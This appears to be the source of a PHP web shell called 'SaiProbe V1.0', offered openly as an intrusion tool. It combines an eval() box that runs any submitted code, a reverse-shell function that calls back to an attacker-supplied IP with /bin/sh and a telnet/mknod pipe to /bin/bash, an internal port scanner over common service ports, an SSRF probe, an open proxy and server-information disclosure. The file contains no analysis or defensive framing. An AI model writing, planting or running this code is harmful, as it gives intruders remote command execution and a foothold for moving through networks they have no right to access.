PHP Decode

<?/*
    1.
    2.
    3.php
    4.
    5.80Brupsuite
    6.
    7.phpinfo
*/
    error_reporting(0); //
    set_time_limit(0);
    ob_end_clean();     ////========================================================================================================
    class portScan{
        public $port;
        function __construct(){
            $this->port=array('20','21','22','23','69','80','81','110','139','389','443','445','873','1090','1433','1521','2000','2181','3306','3389','5632','5672','6379','7001','8000','8069','8080','8081','9200','10050','10086','11211','27017','28017','50070');
        }
        //url
        function urlFilter($url){
            $pattern="/^(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])(\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])){3}$/";
            $match=preg_match($pattern,$url);
            if(!$match){
                echo "<script>alert('ip')</script>";
                exit("");
            }
            $url=str_replace("http://", "",$url);
            $url=str_replace("/", "",$url);
            return $url;
        }
        function Prepare(){
            if($_POST['end']!=""){         
                $base_url_1=self::urlFilter($_POST['start']);                  
                $base_url_2=self::urlFilter($_POST['end']);
                /*$base_url_1=$_POST['start'];                 
                $base_url_2=$_POST['end'];*/
                $base_url=array($base_url_1,$base_url_2);
                 
                self::Scan($base_url,$this->port);
            }else{
                echo "<script>alert('')</script>";
            }
        }
        function outPut(){
 
        }
        function Scan($base_url,$port){
            $start=explode('.',$base_url['0']);
            $end=explode('.',$base_url['1']);
            $length=$end['3']-$start['3'];
            for($i=0;$i<=$length;$i++){
                $ip=$start[0].".".$start[1].".".$start[2].".".($start[3]+$i);
                foreach ($port as $ports) {
                    $ips="$ip:$ports"; 
                    //stream_set_blocking($ips, 0);               
                    //$result=stream_socket_client($ips,$errno, $errstr,0.1,STREAM_CLIENT_CONNECT);
                    $result=@fsockopen($ip,$ports,$errno,$errstr,0.1);
                    if($result){
                        echo $ip."---------------------".$ports.""."<br>";
                        flush();
                    }
                }
            }
        }
    }//=================================================================
    function ssrf($ip,$port=80){
        $res=fsockopen($ip,$port,$errno,$errstr,0.2);
        if($res){
            echo "";
        }else{
            echo "";
        }
 
    }//=================================================================
    function tansmit($sourceip,$sourceport,$targetip,$targetport){
        if(strtsr(php_uname(),'Windows')){
 
        }elseif (strstr(php_uname(), 'Linux')) {
             
        }else{
 
        }
    }//============================Shell====================================
    function bounce($targetip,$targetport){
        if(substr(php_uname(), 0,1)=="W"){
            system("php -r '$sock=fsockopen($targetip,$targetport);exec('/bin/sh -i <&3 >&3 2>&3');'");
        }elseif (substr(php_uname(), 0,1)=="L") {
            echo 'linux test';
            system('mknod inittab p && telnet {$targetip} {$targetport} 0<inittab | /bin/bash 1>inittab');
        }else{
            echo "<script>alert('Can't recognize this operation system!)</script>";
        }
    }//==================================================================
    function proxy($url){
        $output=file_get_contents($url);
        return $output;
    }//======================================Main===================================
    $scan=new portScan();
    if(isset($_POST['submit'])){
        if($_POST['start']!=""){
            $scan->Prepare();
        }else{
            echo "<script>alert('')</script>";
        }      
    }
 
    if(isset($_GET['ip'])){
        $ssrf_ip=$_GET['ip'];
        if($ssrf_ip!=0){
            ssrf($ssrf_ip);
        }
    }
 
    if(isset($_POST['trans'])) {
        tranmit($_POST['sourceip'],$_POST['sourceport'],$_POST['targetip'],$_POST['targetport']);
    }
 
    if(isset($_POST['rebound'])){
        bounce($_POST['tarip'],$_POST['tarport']);
    }
    if (isset($_GET['proxy'])) {
        $proxy_web=proxy($_GET['proxy']);
        echo "<div>".$proxy_web."</div>";
    }?><!--========================================================================================================================================================================================================================================================================================================================================--><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>   <title>Sai V1.0</title>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><style type="text/css"></style></head>
<div align="center">
    <h1>SaiProbe V1.0</h1><hr>
    <div>
        <a href="?id=1"></a>|<a href="?id=2"></a>|<a href="?id=3"></a>|<a href="?id=4"></a>|<a href="?id=5&ip=0"></a>|<a href="?id=6">phpinfo</a>|<a href="?id=7&proxy="></a>|<a href="#"></a>
    </div>
<hr>
<!------------------------------------------------------------->
</div><div align="center" id="normal">
    <fieldset>
        <legend></legend>
    <table border="1" align="center" width="50%">
        <tr>
            <td>IP/</td>
            <td><?php echo $_SERVER['SERVER_NAME'];?>(<?php if('/'==DIRECTORY_SEPARATOR){echo $_SERVER['SERVER_ADDR'];}else{echo @gethostbyname($_SERVER['SERVER_NAME']);} ?>)</td>
        </tr>
        <tr>
            <td></td>
            <td><?php echo `whoami`?></td>
        </tr>
        <tr>
            <td></td>
            <td><?php echo $_SERVER['DOCUMENT_ROOT']?str_replace('\\','/',$_SERVER['DOCUMENT_ROOT']):str_replace('\\','/',dirname(__FILE__));?></td>
        </tr>
        <tr>
            <td></td>
            <td><?php echo str_replace('\\','/',__FILE__)?str_replace('\\','/',__FILE__):$_SERVER['SCRIPT_FILENAME'];?></td>
        </tr>
        <tr>
            <td></td>
            <td><?php echo $_SERVER['SERVER_PORT'];?></td>
        </tr>
        <tr>
            <td></td>
            <td><?php if($sysInfo['win_n'] != ''){echo $sysInfo['win_n'];}else{echo @php_uname();};?></td>
        </tr>
        <tr>
            <td>PHP</td>
            <td><?php echo PHP_VERSION;?></td>
        </tr>
        <tr>
            <td>PHP</td>
            <td><?php echo $_SERVER["PHPRC"];?></td>
        </tr>
    </table> 
    </fieldset>
</div><!-------------------------------------------------------------><div align="center" style="display:none" id="command">
    <fieldset>
        <legend></legend>
            <form method="post" action="#">
                <div>
                    <input type="text" placeholder="system(whoami)" name="order"/>
                    <input type="submit" value="">
                </div>
            </form>
            <div>
                    <textarea cols="150" rows="30" style="resize:none">
                        <? $order=$_POST['order'];echo eval($order.";");?>
                    </textarea>
            </div>
    </fieldset>  
</div><!-------------------------------------------------------------><div align="center" style="display:none" id="inner">
    <fieldset>
        <legend></legend>
            <div>
                <form method="post" action="#">
                Bash<input type="text" name="tarip" placeholder="IP">
                    <input type="text" name="tarport" placeholder=""> 
                    <input type="submit" name="rebound" value="">
                </form>
                <form method="post" action="">
                <input type="text" name="sourceip" placeholder="IP"><input type="text" name="sourceport" placeholder="">
                        <input type="text" name="targetip" placeholder="IP"><input type="text" name="targetport" placeholder="">
                        <input type="submit" name="trans" value="">
                <form>
            </div>
    </fieldset>
</div><!-------------------------------------------------------------><div align="center" id="portscan" style="display:none">
    <fieldset>
        <legend></legend>
        <form action="#" method="post">
            <input type="text" name="start"> -
            <input type="text" name="end">
            <input type="submit" name="submit" value="">
        </form>
    </fieldset></div>
 
<!------------------------------------------------------------->
<div align="center" id="ssrf" style="display:none">
    <fieldset>
        <legend></legend>
            <b>urlIPip,Brupsuit,80</b>
    </fieldset>
</div><!-----------------------------phpinfo--------------------------------><div align="center" id="phpinfo" style="display:none">
    <fieldset>
        <legend>phpinfo</legend>
        <?php phpinfo()?>
    </fieldset></div>
 
<!------------------------------------------------------------->
<div align="center" id="proxy" style="display:none">
    <fieldset>
        <legend></legend>
            <b>urlproxy</b>
    </fieldset>
</div><!-------------------------------------------------------------><div align="center" id="phpinfo" style="display:none">
    <fieldset>
    </fieldset>
</div><div align="center"><a href="http://www.heysec.org">Code by Sai</a></div><script type="text/javascript">
        var id=<?php echo $_GET['id'];?>;
        var x;
        switch (id){
            case 1:
            break;
            case 2:
                document.getElementById("inner").style.display='';
            break;
            case 3:
                document.getElementById("command").style.display='';
            break;
            case 4:
                document.getElementById("portscan").style.display='';
            break;
            case 5:
                document.getElementById("ssrf").style.display='';
            break;         
            case 6:
                document.getElementById("phpinfo").style.display='';
            break;
            case 7:
                document.getElementById("proxy").style.display='';
            break;
        }
    </script>